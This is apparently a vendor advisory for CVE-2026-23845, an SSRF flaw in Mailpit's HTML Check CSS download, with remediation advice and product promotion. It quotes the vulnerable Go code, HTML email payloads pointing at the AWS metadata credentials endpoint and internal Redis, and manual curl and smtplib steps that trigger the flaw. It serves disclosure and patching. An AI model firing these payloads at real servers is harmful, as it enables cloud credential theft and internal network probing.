CVE-2026-23845

CVE-2026-23845 is a medium-severity server-side request forgery (SSRF) vulnerability in github.com/axllent/mailpit (go), affecting versions < 1.28.3. It is fixed in 1.28.3.

Summary

Server-Side Request Forgery (SSRF) via HTML Check CSS Download

The HTML Check feature (/api/v1/message/{ID}/html-check) is designed to analyze HTML emails for compatibility. During this process, the inlineRemoteCSS() function automatically downloads CSS files from external <link rel="stylesheet" href="..."> tags to inline them for testing.

Affected Components

  • Primary File: internal/htmlcheck/css.go (lines 132-207)
  • API Endpoint: /api/v1/message/{ID}/html-check
  • Handler: server/apiv1/other.go (lines 38-75)
  • Vulnerable Functions:
    • inlineRemoteCSS() - line 132
    • downloadToBytes() - line 193
    • isURL() - line 221

Technical Details

1. Insufficient URL Validation (isURL() function):

// internal/htmlcheck/css.go:221-224
func isURL(str string) bool {
    u, err := url.Parse(str)
    return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != ""
}

2. Unrestricted Download (downloadToBytes() function):

// internal/htmlcheck/css.go:193-207
func downloadToBytes(url string) ([]byte, error) {
    client := http.Client{
        Timeout: 5 * time.Second,
    }

    // Get the link response data
    resp, err := client.Get(url)  // ⚠️ VULNERABLE - No IP validation
    if err != nil {
        return nil, err
    }
    defer func() { _ = resp.Body.Close() }()

    if resp.StatusCode != 200 {
        err := fmt.Errorf("error downloading %s", url)
        return nil, err
    }

    body, err := io.ReadAll(resp.Body)  // ⚠️ Downloads ENTIRE response
    if err != nil {
        return nil, err
    }

    return body, nil
}

3. Automatic CSS Processing:

// internal/htmlcheck/css.go:132-187
func inlineRemoteCSS(h string) (string, error) {
    reader := strings.NewReader(h)
    doc, err := goquery.NewDocumentFromReader(reader)
    if err != nil {
        return h, err
    }

    remoteCSS := doc.Find("link[rel=\"stylesheet\"]").Nodes
    for _, link := range remoteCSS {
        attributes := link.Attr
        for _, a := range attributes {
            if a.Key == "href" {
                if !isURL(a.Val) {  // ⚠️ Insufficient validation
                    continue
                }

                if config.BlockRemoteCSSAndFonts {
                    logger.Log().Debugf("[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)", a.Val)
                    return h, nil
                }

                resp, err := downloadToBytes(a.Val)  // ⚠️ Downloads from ANY URL
                if err != nil {
                    logger.Log().Warnf("[html-check] failed to download %s", a.Val)
                    continue
                }

                // Inlines the downloaded CSS
                styleBlock := &html.Node{
                    Type:     html.ElementNode,
                    Data:     "style",
                    DataAtom: atom.Style,
                }
                styleBlock.AppendChild(&html.Node{
                    Type: html.TextNode,
                    Data: string(resp),  // Downloaded content inserted
                })
                link.Parent.AppendChild(styleBlock)
            }
        }
    }
    
    return doc.Html()
}

Attack Vectors

Attack Vector 1: Cloud Metadata Credential Theft

Attacker sends HTML email with:

<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role">
</head>
<body>Legitimate email content</body>
</html>

When HTML check is triggered:

  1. Mailpit makes GET request to AWS metadata endpoint
  2. Downloads IAM credentials as "CSS content"
  3. Credentials logged or potentially leaked via error messages

Proof of Concept

A complete working exploit is provided in ssrf_htmlcheck_poc.py.

PoC Usage:

# Ensure Mailpit is running
# SMTP: localhost:1025
# HTTP API: localhost:8025

# Run the exploit
python3 ssrf_htmlcheck_poc.py

PoC Workflow:

  1. Starts SSRF listener on port 8888 to detect callbacks
  2. Sends malicious HTML emails containing:
    <link rel="stylesheet" href="http://localhost:8888/malicious.css">
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">
<link rel="stylesheet" href="http://127.0.0.1:6379/">
  3. Triggers HTML check via API: GET /api/v1/message/{ID}/html-check
  4. Monitors callbacks and analyzes responses
  5. Demonstrates exploitation of:
    • Local listener (proves SSRF)
    • Cloud metadata endpoints
    • Internal services (Redis, etc.)
    • Private network ranges

Expected Output:

╔══════════════════════════════════════════════════════════════════════════════╗
║  Mailpit SSRF PoC - HTML Check CSS Download Vulnerability                   ║
║  Severity: MODERATE                                                              ║
║  File: internal/htmlcheck/css.go:193-207                                    ║
╚══════════════════════════════════════════════════════════════════════════════╝

[+] SSRF listener started on port 8888
[*] Testing SSRF with callback to local listener...

================================================================================
[*] Testing SSRF with target: http://localhost:8888/malicious.css
================================================================================
[+] Email sent with CSS link to: http://localhost:8888/malicious.css
[+] Message ID: abc123xyz
[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check
[+] HTML check completed (Status: 200)

[SSRF-LISTENER] 127.0.0.1 - "GET /malicious.css HTTP/1.1" 200 -

[+] SUCCESS! SSRF confirmed - Received 1 callback(s):
    Path: /malicious.css
    User-Agent: Mailpit/dev

================================================================================
[*] Testing SSRF against internal/private targets...
================================================================================

⚠️  Note: These may timeout or fail, but Mailpit WILL attempt the connection

[+] Email sent with CSS link to: http://127.0.0.1:6379/
[+] Message ID: def456uvw
[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check
[!] Request timed out - target may be blocking or slow

Manual Testing:

# 1. Send malicious email
cat << 'EOF' | python3 - <<SENDMAIL
import smtplib
from email.mime.text import MIMEText

html = '''
<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">
</head>
<body>Test</body>
</html>
'''

msg = MIMEText(html, 'html')
msg['Subject'] = 'SSRF Test'
msg['From'] = '[email protected]'
msg['To'] = '[email protected]'

with smtplib.SMTP('localhost', 1025) as smtp:
    smtp.send_message(msg)
SENDMAIL
EOF

# 2. Get message ID
MESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')

# 3. Trigger SSRF
curl -v "http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check"

Impact

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-23845 has a CVSS score of 5.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.28.3); upgrading removes the vulnerable code path.

Affected versions

github.com/axllent/mailpit (< 1.28.3)

Security releases

github.com/axllent/mailpit → 1.28.3 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/axllent/mailpit to 1.28.3 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-23845? CVE-2026-23845 is a medium-severity server-side request forgery (SSRF) vulnerability in github.com/axllent/mailpit (go), affecting versions < 1.28.3. It is fixed in 1.28.3. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-23845? CVE-2026-23845 has a CVSS score of 5.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/axllent/mailpit are affected by CVE-2026-23845? github.com/axllent/mailpit (go) versions < 1.28.3 is affected.
  4. Is there a fix for CVE-2026-23845? Yes. CVE-2026-23845 is fixed in 1.28.3. Upgrade to this version or later.
  5. Is CVE-2026-23845 exploitable, and should I be worried? Whether CVE-2026-23845 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-23845 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-23845? Upgrade github.com/axllent/mailpit to 1.28.3 or later.

Other vulnerabilities in github.com/axllent/mailpit

CVE-2026-48824CVE-2026-55187CVE-2026-45713CVE-2026-45711CVE-2026-45709

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